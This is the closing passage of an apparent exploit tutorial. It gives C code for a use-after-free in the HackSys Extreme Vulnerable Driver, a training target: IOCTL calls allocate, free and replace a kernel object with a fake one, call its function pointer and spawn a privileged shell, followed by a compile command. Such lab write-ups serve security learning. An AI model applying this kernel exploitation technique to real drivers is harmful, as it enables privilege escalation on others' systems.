                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  evilBuffer = allocate_buffer(lpPayload);
  if (evilBuffer == NULL)
  {
    printf("[*] Failed to allocate evil buffer (userland)\n");
    return -1;
  }

  printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL object\n");
  sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL, 0);

  printf("[*] Freeing object\n");
  sendIoctl(hHEVD, HEVD_FREE, NULL, 0);

  printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOL\n");
  sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));

  printf("[*] Triggering UAF\n");
  sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL, 0);

  printf("[+] Enjoy the shell :)\n\n");

  system("cmd.exe");
}

Once compiled:

i686-w64-mingw32-gcc poc.c -o poc.exe

We get our shell!

alt text

Sources

https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/paged_code